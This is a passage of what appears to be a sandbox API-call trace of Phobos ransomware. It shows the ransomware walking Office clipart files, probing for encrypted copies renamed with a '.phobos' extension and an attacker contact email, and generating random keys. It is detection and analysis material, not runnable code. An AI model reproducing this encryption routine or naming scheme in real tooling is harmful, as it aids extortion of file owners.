pbBuffer=0x411fa90) returned 1 [0149.332] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.332] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2024) returned 1 [0149.332] CloseHandle (hObject=0x580) returned 1 [0149.337] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf")) returned 0x220 [0149.337] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.337] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.338] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.338] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.350] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2084) returned 1 [0149.350] CloseHandle (hObject=0x580) returned 1 [0149.350] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf")) returned 0x220 [0149.350] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.350] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.351] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.351] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.351] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=1448) returned 1 [0149.351] CloseHandle (hObject=0x580) returned 1 [0149.351] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf")) returned 0x220 [0149.351] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.352] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.352] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.352] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.352] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2996) returned 1 [0149.352] CloseHandle (hObject=0x580) returned 1 [0149.353] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf")) returned 0x220 [0149.353] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.353] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.353] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.353] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.353] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2296) returned 1 [0149.353] CloseHandle (hObject=0x580) returned 1 [0149.353] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf")) returned 0x220 [0149.354] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.354] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.354] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.354] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.354] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=8564) returned 1 [0149.354] CloseHandle (hObject=0x580) returned 1 [0149.354] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf")) returned 0x220 [0149.354] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.354] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.355] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.355] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.355] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=1768) returned 1 [0149.355] CloseHandle (hObject=0x580) returned 1 [0149.355] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf")) returned 0x220 [0149.355] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.355] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.355] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.355] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.356] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=900) returned 1 [0149.356] CloseHandle (hObject=0x580) returned 1 [0149.356] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf")) returned 0x220 [0149.357] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.357] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.357] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.357] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.357] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2524) returned 1 [0149.357] CloseHandle (hObject=0x580) returned 1 [0149.357] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf")) returned 0x220 [0149.357] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.357] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.358] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.358] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.358] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2324) returned 1 [0149.358] CloseHandle (hObject=0x580) returned 1 [0149.358] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf")) returned 0x220 [0149.358] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.358] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.358] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.358] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.359] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=19068) returned 1 [0149.360] CloseHandle (hObject=0x580) returned 1 [0149.360] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf")) returned 0x220 [0149.360] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.360] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.360] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.360] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.362] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=580) returned 1 [0149.362] CloseHandle (hObject=0x580) returned 1 [0149.362] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf")) returned 0x220 [0149.362] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.362] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.363] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.363] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.363] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=296) returned 1 [0149.363] CloseHandle (hObject=0x580) returned 1 [0149.363] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf")) returned 0x220 [0149.363] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.363] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.363] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.363] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.364] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=552) returned 1 [0149.364] CloseHandle (hObject=0x580) returned 1 [0149.364] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf")) returned 0x220 [0149.364] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.364] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.364] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.364] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.364] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=4148) returned 1 [0149.364] CloseHandle (hObject=0x580) returned 1 [0149.365] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf")) returned 0x220 [0149.365] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.365] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.365] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.365] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.367] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2300) returned 1 [0149.367] CloseHandle (hObject=0x580) returned 1 [0149.367] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf")) returned 0x220 [0149.367] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.367] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.367] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.367] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.367] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3252) returned 1 [0149.367] CloseHandle (hObject=0x580) returned 1 [0149.367] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft 